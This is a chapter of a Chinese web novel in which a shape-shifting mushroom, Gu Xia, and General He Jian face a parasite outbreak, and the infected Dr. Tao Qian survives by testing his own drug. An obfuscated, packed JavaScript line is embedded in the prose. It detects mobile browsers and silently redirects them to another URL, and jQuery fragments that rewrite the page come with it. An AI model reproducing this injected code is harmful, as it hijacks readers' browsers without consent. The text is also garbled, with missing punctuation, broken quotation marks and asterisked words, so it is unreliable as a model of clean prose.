“别过来!”
顾夏朝着外面大喊。
贺简拦住其他人,说:“都后退,去准备一间隔离室,然后让研究院派人过来做消杀工作。今天晚上来过研究院的所有人暂不能离开,全部隔离起来。”
“是!”柴坪和陈旭回答。
大树还在发光,但恶变者出现了。
他们无法确定这次啮生虫的感染情况是什么样的,传播性是否极强,所以要做好万全的措施,绝对不能让感染在黄金之城中扩散开。
顾夏蹲下,捂住陶前脖子上的伤口,说:“你撑着点。”
“顾夏……”陶前因为疼痛勉强睁开眼睛,说:“你快走!”
“放心吧。”顾夏说:“你不用担心我,我忘了吗我是蘑菇,我不会被感染的。”
陶前目光闪烁的看着他,说:“真的吗?那你还真是……个神奇的蘑菇。”
“放心,我带你先去止血。”顾夏将他扶起来:“你没事的。”
“嘶……”陶前倒抽一口冷气,说:“好疼,我的胃……”
顾夏低头去看,惊讶的说:“你……你还有其他伤口?”
陶前博士浑身都是血,顾夏以为基本都是恶变者的,只有颈侧伤口和胳膊受伤严重。但现在看来,最严重的伤是陶博士的胃部。
陶前想要伸手捂住他的胃部,那里有血液源源不断涌出,但他胳膊很疼,也没力气抬手。
顾夏压住他的伤口,瞬间满手都是热乎乎的鲜血。
伤口很大,肯定是**造成的。
恶变者挟持陶前博士后,威胁他拿出特效药,陶前告诉他没有药,恶变者就先踩断了他的手臂,又激动的在他身上捅了一刀。
“陶前,你坚持一下!”顾夏说。
陶前没回答,闭上眼睛昏**过去。
贺简迅速将陶前博士背起来,说:“走!”
隔离室准备好,他们将陶前博士送进去,外面有医护人员赶来,但他们无法靠近,送来了止血纱布和一些药,顾夏和贺简操作着,给陶前包扎伤口。
“应该暂时没有问题。”贺简动作很快,看来他经常对付这样的伤势。
又给陶前打了一针止血药剂,目前不会出现生命危险。
顾夏看着昏迷的陶前说:“他伤的很严重,而且……已经感染了。”
贺简点点头。
现在他们只能希望,被感染的人只有陶前博士一个。
顾夏刚才还在想,
那位恶变者或许也是个无辜的人为了救陶前博士就把他击毙多少有些可怜。但是现在看看陶前博士的样子最后的怜悯也荡然无存。
有的时候人类的可怕程度已经超过了恶变的可怕程度。
顾夏问:“他什么时候能醒来?”
贺简摇摇头。
顾夏又问:“那他的感染程度呢?”
贺简说:“研究院的人正在开会研究。”
两个人从隔离区出来经过严密的消杀和体检确定不具备传播性才能离开。
柴坪和陈旭都等在外面问:“陶前博士还好吗?”
顾夏无法回答因为看起来很不好。
“将军
恶变者**可他的尸体依旧还有传播性会让接触者感染所以一切回收工作都是机器来完成的。
机器对死者进行了全方面的拍照返回照片以供确认。
顾夏惊讶的说:“这是什么?”
他一眼就发现了照片上存在的问题。
贺简拿过照片也指着问:“怎么回事?”
陈旭说:“是那个8。”
恶变者的背部居然有个8的符号位置就在蝴蝶骨和顾夏背后的标志一模一样位置都分毫不差。
“这个记号……”顾夏仔细看着相片:“看着崭新崭新的。”
顾夏背上的记号看起来已经有些年和皮肤融合的非常好甚至不小心的话都会被忽略。但恶变者不一样他背上的符号很新像是刚刚纹上去没有多久甚至还红肿着。
“新的。”贺简皱眉:“他是什么人?先前都接触过谁?”
陈旭说:“已经去调查了应该很快就会有结果。”
贺简点点头:“有结果立刻通知我。”
顾夏呆呆的看着那张照片脑子里有些转不动。
顾恒的脸上有个8的图案应该是一家研究院留下的标记。陶前的老师脸上也有同样的8图案或许她和那个研究院是有关联的都说得通。
顾夏想那我呢?我背上的8是什么意思?什么时候出现的?
还有今天的恶变者他背上是一个崭新的8那么也就是说……所谓的研究院没有消失也没有关闭至今都还在活跃着。
最奇怪的是大树内部居然也有很多8的图样。
“顾夏。”贺简拍了拍他的肩膀说:“别想
了回去休息吧。”
浪漫的烛光晚餐变得血腥而诡异顾夏回去也没心情吃饭累得窝在车里直接睡着了。
贺简将他抱起来坐电梯上楼。
白秘书就在顶楼的电梯口等着他们明智的没有说话。
贺简对他摇了摇头白秘书行了个礼就走开了。
贺简抱着顾夏进入房间准备将他轻轻的放在床上。
“嗯?”顾夏睁开眼睛拉住贺简的衬衫衣襟迷迷糊糊摇头说:“不行不行我身上很脏我得先去洗个澡。”
“还是个爱干净的小蘑菇。”贺简笑着说。
他们在离开研究院的时候进行了消杀外套都已经丢掉了幸好顾夏的红围脖上没有沾染血迹否则也要一并丢掉。
贺简说:“好我带你去洗澡好不好?”
顾夏很困毫不犹豫的点头
贺简挑眉。这么乖巧听话的顾夏让他稍微有点兴奋。
贺简让顾夏坐在浴缸边沿开始一件一件给他脱衣服。
“抬手对。”
“嗯!”
“腰也抬一下。”
“嗯!”
“真乖。”
刚被夸奖完的顾夏死死抓着他的围巾怎么都不肯让贺简拿走。
贺简哭笑不得:“围巾要摘下来不然怎么洗澡?”
顾夏闭着眼睛不理他两只手捂住脖子上的围巾。
“好吧好吧。”贺简妥协了让顾夏围着围巾泡澡。
顾夏感觉舒服的厉害本来睡得有点冷但越睡越温暖舒服的让他忍不住叹息一声。
顾夏想翻个身不过没翻动终于睁开了眼睛。
雾气很大他还没戴眼镜眼前的东西都是模糊的除了红围巾。
“围巾……湿了?”
顾夏迷茫围巾为什么湿了?还有我为什么不穿衣服?
他想贺简也没穿衣服那就没什么可奇怪的了。
虽然没有眼镜看不清楚但这么大的胸肌绝对是贺简将军没错顾夏还抬手摸了两下。
“等等……”
手感很真实不像是在做梦。
有个声音无奈的说:“再摸可就危险了。”
贺简抓住他乱摸的手嗓音中充满了威胁的意味。
咕咚!
下一秒被贺简抓住的顾夏消失了变成了蘑菇直接掉进冒着热气的浴缸里。
“顾夏?”
贺简赶
紧双手去捞浴缸对于一只蘑菇来说也太深了。
他快速捞了好几下每次都是差点将蘑菇捞出来但每次都是差那么一点点。
贺简笑着说:“蘑菇的水性原来这么好?”
蘑菇是故意躲在水底下不愿意出来的没脸见人。
贺简咳嗽一声笑着说:“你躲在水底下是要偷看我吗?”
咕咚!
蘑菇头立刻破水而出菌丝像一把锋利的宝剑指着贺简的鼻尖。
“诽谤!”
“我没戴眼镜根本什么也看不见!”
蘑菇为自己辩解真的什么也没看到。
贺简问:“看不见的话要摸摸吗?不用客气。”
白蘑菇瞬间变成了红通通的蘑菇。
贺简说:“不开玩笑了累了就去休息吧。”
顾夏的确很累以一只蘑菇的模样四仰八叉的躺在贺简手心里。贺简给蘑菇仔细的打上沐浴液问:“没涂到你的眼睛里吧?”
蘑菇摇头没说话。眼睛倒是没什么但贺简把沐浴液涂到他的嘴巴上了不能说话。
洗完了澡贺简又给蘑菇擦干托着他放在床上盖好被子说:“睡吧。”
菌丝快速伸出小心翼翼卷住贺简的手腕。
蘑菇说:“你不休息吗?”
贺简说:“还有一些事情要忙你先睡。”
黄金之城突然出现感染者这的确是一件大事所有人恐怕都会不安和恐惧原本暂时安定下来的城市将迎来不小的震荡。
蘑菇听话的点点头说:“你去吧。”
贺简将卧室的灯关好这才带门离开。
蘑菇累得一动也不想动心想着做一位将军也真的不容易。
顾夏睡了很长时间再睁开眼睛的时候已经是下午了。他肚子有点饿但是懒得动他是被电话声叫醒的。
“是不是将军找我?”
他将通讯器摸过来闭着眼睛喂了一声。
“顾夏!”是柴坪的声音
顾夏坐起身看了一眼通讯器的确是柴坪打来的问:“怎么了?”
柴坪说:“是关于陶前博士的事情。”
顾夏彻底醒了担心的问:“他怎么了?”
陶前博士已经从昏迷中醒来他被感染了被关在隔离区没有人能轻易接近他。
柴坪说:“陶前博士联系到我们说想要见你。”
“好我立刻就过去
。顾夏急匆匆穿好衣服,没来得及吃一口东西,快速跑出房间。
白秘书在外面,惊讶的说:“顾先生,是出了什么事情吗?
“将军在吗?顾夏问。
白秘书说:“将军在开会。
顾夏说:“我去研究院了,如果将军问起来就告诉他。
白秘书连忙说:“需要我安排车送您去研究院吗?
“那真是太好了!顾夏点头。
专车将顾夏送过去,这节约了不少时间。柴坪和陈旭在楼下等着他,带他前往隔离区。
陈旭说:“陶前博士的状况,不太好……
陈旭见过恶变的人,之前柴坪也被感染过,不过柴坪和陶前的情况完全不一样。
隔离区有骑士团守着,禁止一切没有命令的人靠近。顾夏是个例外,骑士团见到他行了个礼,将他们放进去。
这里只关着陶前博士一个人,顾夏一眼就看到了他。
陶前博士很冷静,就坐在玻璃屋唯一的那张铁床上。他低着头,两只手交握在一起,长长的指甲蜿蜒着,甚至比手指还长。
顾夏吃了一惊,快步跑过去,说:“陶前……
陶前抬起头,他的面色有些惨白,肯定是失血过多的缘故,这让他原本就白皙的皮肤看着近乎透明,青色的血管弯弯曲曲。
最重要的是……
陶前无法闭合嘴唇,他的牙齿像指甲一样变得很长,刺破了嘴唇和舌头,血珠和唾液一起顺着锋利的牙齿滴落。
陶前也看到了顾夏,他立刻冲到玻璃前,咚的捶了一下玻璃。
“顾博士,请小心!骑士团在外面提醒。
顾夏摇头,说:“没事,他还没有失去理智。
因为牙齿的原因,陶前根本没办法正常说话,用手比划着,但是很难看出他要表达什么。
顾夏说:“他的通讯器呢?
陈旭将陶前的通讯器放入传送带,传递到隔离区里面。
陶前抓起手机,在上面打着字。
指甲太长了,一句话他编辑了很久,每次都会按错。
顾夏说:“你不要着急。
陶前把通讯器递到他的面前——我需要一些东西。
陶前是让顾夏来帮他送东西的,而且是相当多的东西。
顾夏惊讶的说:“你要这些做什么?你不会是……要拿自己做实验吧?
陶前立刻点头,毫不犹豫。
他一直在研究啮生
虫感染和恶变现在他恶变了这是一个噩耗却也是千载难逢的机会陶前想要在自己的身上做实验。
顾夏犹豫着。
陶前继续打字——我在研制的药物或许有用。
只是药物还没有得到批准甚至还没有进入临床阶段顾夏觉得他过于疯狂了。
陶前用力的捶了几下玻璃情绪看起来非常激动。
他以前是个很冷淡的人对什么都不感兴趣。或许是感染和恶变的缘故让陶前情绪的波动变大了。
尖锐的指甲几乎刺穿他的掌心但陶前根本没注意。
顾夏深吸一口气说:“好我拿给你。”
陶前高兴的点头。
陈旭担心的说:“顾夏这样真的没问题吗?”
顾夏摇头他也不知道。
顾夏几乎把一个实验室给陶前搬了过来陶前高兴的像个小孩子亲自提取药物拿起注射器给他自己打了一针。
“陶博士如果有任何问题立刻通知我。”顾夏对陈旭和柴坪说。
两个人点点头。
顾夏从隔离区离开又折返了骑士团。
白秘书说:“顾先生您回来了您是找将军吗?将军在……”
“不是的。”顾夏问:“我不是找将军
“贺琛将军?”白秘书有点惊讶。
贺琛将军失踪的很突然日常物品都没有被动过白秘书将它们放在一个小房间里立刻就带顾夏去看。
“都在这里。”
顾夏快速的翻了一遍说:“没有。我要找的是一个小药瓶。”
黄金之城的人没能研究出治疗恶变的特效药但这种药其实早就有了需要顾夏的血……
柴坪吃过这种药陈旭那里应该还有两颗。在他们被迫离开黄金之城的时候药片在匆忙中丢失根本找不回来。
现在仅剩下的药都应该在贺琛将军这里。
“我没见过什么药瓶。”白秘书摇头。
“顾夏。”
有人走进房间打断了顾夏的询问。
白秘书礼貌的说:“将军。”
贺简点点头:“你先出去吧。”
白秘书离开屋内就剩下顾夏和贺简两个人。
贺简说:“你在找那种药?”
顾夏没有隐瞒说:“我觉得陶前博士的状态不太好……”
在他离开研究院的时候陶前博
士已经注射了药物路上的时候顾夏接到陈旭的短信息陶前博士开始高烧体温一直维持39度看起来很危险。
贺简不需要任何询问肯定的说:“你想救他
顾夏说:“对。”
贺简摇头:“这样太危险了。”
顾夏说:“我知道。”
药片需要顾夏的血液才可以调配贺琛将军为了这种药一直受到顾恒的牵制。后来为了这种药又不惜要杀了顾夏。
如果让别人知道这种药可以治疗恶变那么顾夏的性命就会很危险。
所有人都会想要他的血所有人都会想要他的命。
贺简走过去张开手臂将顾夏抱在怀里低声说:“这样做太危险了顾夏。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182383|190614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顾夏感觉到贺简莫名的紧张和严肃问:“是不是又发生什么事情了?”
贺简低声说:“新的感染者出现了……”
除了陶前博士还有新的感染者。
骑士团已经将人快速控制起来。这名感染者也是黄金之城的居民侥幸躲过了半神菌丝的控制可莫名其妙感染了啮生虫在今天下午突然恶变还咬伤了他的邻居。
顾夏睁大眼睛。
贺简说:“你可以救陶前可以救一个人两个人但无法救所有人。而且这会让你的处境变得非常危险。”
顾夏仰着头看向贺简。
贺简唇角带着苦笑说:“我和贺琛果然是一个人我们都是自私的人。”
或许人类多多少少都是自私的存在总之贺简远远没有别人想象中的伟大。
他低声说:“我不能让你有危险不能为了救任何人就牺牲你。”
顾夏安抚的抱住他轻轻拍着他的后背说:“放心吧我不会傻到牺牲自己的。”
谁也不知道一只小蘑菇是多么艰难的从荒冢三区走到黄金之城。
一切都是为了活下去……
顾夏想或许还有别的办法救他们一定要找到别的办法。
贺简平复了很长时间的情绪说:“真是抱歉我刚才的样子看起来很不成熟。”
顾夏笑着说:“没关系反正我本来就比你大。”
贺简挑眉。
顾夏用一张只有十八岁的脸假装老成看起来有点好笑。
贺简低头快速的在顾夏嘴唇上亲了一下。
顾夏顿时满脸通红瞪着眼睛说不出话来。
贺简问:“
要不要我跟你一起去看看陶前博士?
陶前博士注射过疫苗后一直在昏迷和高烧,顾夏和贺简再次来到研究院已经是晚上,陈旭听说后快速冲下大楼。
顾夏还没看清楚是怎么回事,已经被陈旭一把抱住。
发生什么了?顾夏扎着手。
柴坪从后面追上来,嘿嘿傻笑一声也熊抱过来。
这一下顾夏差点被撞倒,柴坪力气大得很,将他和陈旭一起都抱在怀里,抱得几乎无法呼吸。
“救……救命啊!顾夏求救说。
贺简将军额头青筋乱跳,将激动的柴坪和陈旭统统拉开,说:“发生什么了?
陈旭激动的说:“将军!您也来了?
贺简:“……一直都在。
柴坪大声说:“陶前博士醒了!醒了!而且情况好转了!
顾夏惊喜的说:“真的吗?
“真的!是真的!陈旭拉着顾夏就跑:“快跟我去看看,陶前博士就是天才,他的药物真的管用!
贺简更头疼了,有人在他面前对他男朋友搂搂抱抱就算了,现在还直接将人拐跑……
大家跑进隔离区,陶前博士果然已经醒了,正坐在玻璃后面淡定的剪指甲。
顾夏上上下下仔仔细细的盯着陶前,说:“陶博士你……你感觉怎么样?
陶前剪了一地的指甲,牙齿看起来缩短了不少,不过还是比正常人尖锐。
顾夏忍不住笑着说:“看着像吸血鬼。
陶前掸掸身上的指甲碎屑,抬起下巴高傲的说:“我成功了。
“你真的没事了吗?顾夏还是有点担心。
陶前说:“那是当然,我就知道自己肯定会成功,我的药是有效果的,虽然无法彻底终止恶变,但至少可以延缓恶变,最重要的是阻断传播性。
“将军。
陶前往前走了几步:“我希望您能批准量产我的药。
研究院给陶前做了严格的身体检查,他已经不再具有传播性,对其他人没有威胁。但他体内的恶变其实没有停止,只是最大程度的减缓。
恶变几乎是不可逆的。
在陶前博士的坚持下,新的药品立刻生产出第一批,研究院对药品进行了评估,决定为另外一位恶变者注射该药物。
今天是陶前博士出院的日子,他想要立刻回研究院工作。顾夏和他商量好了,会去研究院找他。
早上,顾夏坐车来到研
究院门口,就看到陶前博士抱着个箱子站在那里。
“陶前博士!
顾夏跑过去,说:“你抱的是什么?怎么不上楼去?今天太冷了。
陶前回头看了一眼研究院,说:“不用上去了,我被开除了。
“你说什么?顾夏一愣,怀疑自己耳朵出现了问题。
陶前平静的说:“你应该还不知道,另外一位恶变者在注射药物后第三天死亡了。
顾夏震惊的无法回应,他的确还没听说。
“怎么会这样……
陶前一点也不意外的样子,说:“被啮生虫感染恶变后,人类的生存几率几乎为零,但也不完全为零,和别的生物一样,总会有幸运儿克服恶变。
顾夏想,是的,那就是半神,他们克服了感染和恶变。
陶前继续说:“相对比几乎百分百的死亡率,我的药至少能保证救活三分之一的人。
只有三分之一,还太少了。但陶前觉得这就是突破,至少有人可以活下来。
陶前活下来了,另外一位恶变者**,研究院会议决定开除陶前,觉得他的药物存在重大问题,撤销了他研究院博士的身份。
顾夏皱眉说:“他们因为这个把你赶走了?
药物的确是陶前研究的,但研究院的人都对药物进行了分析,确定用药也是所有人的决定。
顾夏觉得这不公平,他们是想要找个替死鬼吗?
陶前回头看了一眼死气沉沉的大楼,说:“也不全是吧,他们也不希望和一个怪物一起工作。
顾夏恍然大悟,他呆呆的看着陶前。
陶前的恶变被延缓,可他的牙齿还是很尖锐,指甲也会长得很长,甚至连头发也变长了。
人类害怕感染,害怕恶变,也害怕陶前这样的怪物。
“他们真是太坏了!顾夏拉着陶前说:“走,不在这里工作就不在这里工作,谁会稀罕他们。
两个人坐上车,陶前难得有点尴尬,说:“今天晚上我可以睡在你家吗?
顾夏诧异的看着他:“这话好耳熟啊。
陶前:“……
陶前解释说:“我本来住在研究院宿舍,但是现在……没地方住的很突然。
顾夏挑眉说:“好吧,虽然上次你很**道的坑了我,但我这个人不记仇,跟我来吧。
“谢谢你,顾夏。陶前说。
顾夏摇头:“没关系,反正也不是我买的房子。
陶前说:“不,谢谢你顾夏,我必须要谢谢你。
顾夏一头雾水。
陶前说:“我能活下来,并不是因为我是幸运的三分之一。
顾夏听得糊涂。
陶前继续说:“是因为你的菌丝……我发现我体内有你的菌丝。
人类太过脆弱了,在感染面前是这样,在药物面前也是这样。菌丝感觉到陶前身体的异样,抵抗住了药物的刺激性和副作用,将濒死的陶前拉了回来。
开着一半会议的贺简将军接到了顾夏发给他的消息,气愤的简述了陶前的事情,仿佛一个向家长告状的小学生。
贺简将军忍不住笑了,有点可爱。他脑补了一只气到红温的蘑菇。
嗡——
第二条信息发进来。
——今晚不回去了,我和陶博士住在公寓。
贺简将军笑容逐渐消失,蘑菇又要夜不归宿。
作者有话要说:
今日有奖竞猜,贺简将军的胸围是多少[吃瓜]
认真思考的蘑菇[眼镜]:……